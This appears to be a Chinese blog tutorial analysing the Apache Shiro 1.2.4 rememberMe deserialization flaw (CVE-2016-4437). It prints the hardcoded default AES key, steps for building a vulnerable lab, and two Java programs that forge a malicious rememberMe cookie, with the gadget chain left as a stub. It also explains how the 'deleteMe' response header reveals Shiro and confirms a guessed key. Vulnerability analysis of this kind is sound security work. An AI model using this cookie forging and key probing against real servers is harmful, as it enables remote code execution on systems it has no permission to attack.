当前位置:首页 > 技术 > 正文内容

Apache Shiro 1.2.4 反序列化漏洞 (Shiro-550) 深度解析与利用

访客 技术 2026年10月24日 1

Shiro 核心架构概述

Apache Shiro 是一个强大且易用的 Java 安全框架,主要用于执行身份验证、授权、密码学和会话管理。在 Shiro 的架构设计中,有三个核心概念支撑着整个安全体系:

  • Subject:代表当前与系统交互的用户或实体。
  • SecurityManager:Shiro 架构的核心枢纽,负责管理所有的 Subject,并协调内部各个安全组件。
  • Realms:作为 Shiro 与应用程序安全数据之间的桥梁,负责获取用户的权限、角色等详细信息,供 SecurityManager 进行认证和授权判断。

Shiro 核心架构图

Shiro-550 漏洞原理剖析

在 Shiro 1.2.4 及之前的版本中,存在一个严重的反序列化漏洞(CVE-2016-4437,常被称为 Shiro-550)。该漏洞的根源在于 rememberMe 功能的实现机制。

当用户在登录时勾选"记住我"选项,Shiro 会将用户的身份信息(Principal)进行序列化,随后使用 AES 算法进行加密,并进行 Base64 编码,最终将结果存储在 Cookie 的 rememberMe 字段中。在后续的请求中,Shiro 会读取该 Cookie,依次进行 Base64 解码、AES 解密和反序列化操作。

致命缺陷在于,Shiro 早期版本在源码中硬编码了一个默认的 AES 密钥(kPH+bIxk5D2deZiIxcaaaA==)。由于 AES 是对称加密算法,攻击者一旦获知该默认密钥,即可构造恶意的序列化数据,加密后伪造 rememberMe Cookie,从而在服务器端触发反序列化漏洞,实现远程代码执行(RCE)。

漏洞环境构建指南

为了深入分析该漏洞,需要搭建一个基于 Shiro 1.2.4 的测试环境。

  1. 克隆 Shiro 官方仓库并切换到存在漏洞的版本标签:
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
  1. 使用 IDE 打开 samples/web 模块。由于老旧版本可能依赖特定的 JDK 编译插件,建议在项目根目录配置 toolchains.xml 以指定 JDK 1.6 进行编译,或者直接修改 pom.xml 移除相关插件限制。
  2. 在 samples/web/pom.xml 中引入存在漏洞的 Commons Collections 依赖(用于构造反序列化利用链)以及 Shiro 核心库:
<dependencies>
    <!-- 引入 Commons Collections 4.0 用于构造 CC2 利用链 -->
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
    
    <!-- 确保 Shiro 版本为 1.2.4 -->
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-web</artifactId>
        <version>1.2.4</version>
    </dependency>
</dependencies>

配置完成后,将其部署至 Tomcat 等 Servlet 容器中运行即可。

核心加密与解密链路分析

加密链路(登录响应阶段)

当用户认证成功并勾选"记住我"时,加密流程从 DefaultSecurityManager#login 开始。验证通过后,系统会调用 AbstractRememberMeManager#onSuccessfulLogin 方法。

核心处理逻辑如下:

  1. 调用 getIdentityToRemember 获取用户的 PrincipalCollection 对象。
  2. 通过 DefaultSerializer 将 Principal 对象序列化为字节数组。
  3. 调用 AesCipherService#encrypt,使用硬编码的默认密钥(从 DEFAULT_CIPHER_KEY_BYTES 获取)对字节数组进行 AES-CBC 加密。
  4. 将加密后的字节数组进行 Base64 编码,并写入 HTTP 响应的 Set-Cookie 头中。

解密链路(后续请求阶段)

当携带 rememberMe Cookie 的请求到达时,解密流程由 DefaultSecurityManager#getRememberedIdentity 触发。

核心处理逻辑如下:

  1. 从 HTTP 请求中提取 rememberMe Cookie 的值。
  2. 对该值进行 Base64 解码,还原为加密的字节数组。
  3. 调用 AesCipherService#decrypt,使用相同的默认密钥进行 AES 解密。
  4. 将解密后的字节数组传入 DefaultSerializer#deserialize 进行 Java 原生反序列化。漏洞即在此刻触发。

PoC 构造与 Payload 生成

要成功利用此漏洞,需要生成恶意的序列化数据(如基于 CommonsCollections2 的利用链),并使用正确的 AES 密钥和 CBC 模式对其进行加密。

方式一:借助 Shiro 原生加密组件

直接利用 Shiro 提供的 AesCipherService 可以最简单地生成合法的 Cookie 值,因为该组件会自动处理 CBC 模式下的 IV(初始化向量)生成与拼接。

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.Base64;

public class ShiroNativePayloadGenerator {
    public static void main(String[] args) {
        // 假设此处返回 CommonsCollections2 的序列化字节流
        byte[] maliciousSerializedData = generateCC2PayloadBytes(); 
        
        // Shiro 1.2.4 默认硬编码密钥
        byte[] defaultSecretKey = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        
        AesCipherService cipherService = new AesCipherService();
        // Shiro 的 encrypt 方法会自动生成 16 字节 IV 并拼接到密文前
        ByteSource encryptedResult = cipherService.encrypt(maliciousSerializedData, defaultSecretKey);
        
        String rememberMeCookie = encryptedResult.toBase64();
        System.out.println("Generated RememberMe Cookie: " + rememberMeCookie);
    }
    
    private static byte[] generateCC2PayloadBytes() {
        // 实际利用时需替换为真实的 CC2 序列化逻辑
        return new byte[]{}; 
    }
}

方式二:使用标准 Java Crypto API 手动实现

为了深入理解 Shiro 的 CBC 加密机制,可以使用 Java 原生加密库手动实现。Shiro 在解密时,会提取密文的前 16 个字节作为 IV,剩余部分作为真正的密文。因此,在构造 Payload 时,必须手动生成 IV 并将其与密文拼接。

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.util.Base64;

public class ManualCBCPayloadGenerator {
    public static void main(String[] args) throws Exception {
        byte[] payloadBytes = generateCC2PayloadBytes();
        byte[] aesKey = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        
        // 生成 16 字节的随机初始化向量 (IV)
        byte[] ivBytes = new byte[16];
        new SecureRandom().nextBytes(ivBytes);
        
        // 配置 AES/CBC/PKCS5Padding 加密器
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES");
        IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
        
        // 执行加密
        byte[] encryptedPayload = cipher.doFinal(payloadBytes);
        
        // 将 IV 拼接到密文的最前面 (Shiro 解密时的约定格式)
        byte[] finalCookieBytes = new byte[ivBytes.length + encryptedPayload.length];
        System.arraycopy(ivBytes, 0, finalCookieBytes, 0, ivBytes.length);
        System.arraycopy(encryptedPayload, 0, finalCookieBytes, ivBytes.length, encryptedPayload.length);
        
        String rememberMeCookie = Base64.getEncoder().encodeToString(finalCookieBytes);
        System.out.println("Manual CBC RememberMe Cookie: " + rememberMeCookie);
    }
    
    private static byte[] generateCC2PayloadBytes() {
        return new byte[]{};
    }
}

密钥校验与 DeleteMe 特征分析

在实际渗透测试中,攻击者通常通过观察 HTTP 响应头来判断目标系统是否存在 Shiro 以及默认密钥是否被修改。其核心判断依据是响应头中是否包含 Set-Cookie: rememberMe=deleteMe。

这一特征的底层逻辑位于 AbstractRememberMeManager#getRememberedPrincipals 方法中:

  1. 当 Shiro 尝试对传入的 rememberMe Cookie 进行 Base64 解码或 AES 解密时,如果密钥不匹配或数据被篡改,解密过程会抛出异常(如 BadPaddingException)。
  2. 该异常会被 Shiro 捕获,并触发 onRememberedPrincipalFailure 方法。
  3. 在 onRememberedPrincipalFailure 中,系统会调用 forgetIdentity 方法清理当前的身份信息。
  4. forgetIdentity 最终会向 HTTP 响应中写入一个名为 rememberMe、值为 deleteMe 的 Cookie,以覆盖客户端原有的无效 Cookie。

因此,如果发送伪造的 Cookie 后,响应头中依然返回 rememberMe=deleteMe,则说明解密失败(密钥错误或数据损坏);如果响应头中没有该字段,则说明解密和反序列化成功执行,目标系统使用了当前测试的密钥。

标签: Apache Shiro
返回列表

上一篇:构建标准化 Python 项目工作流

没有最新的文章了...

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。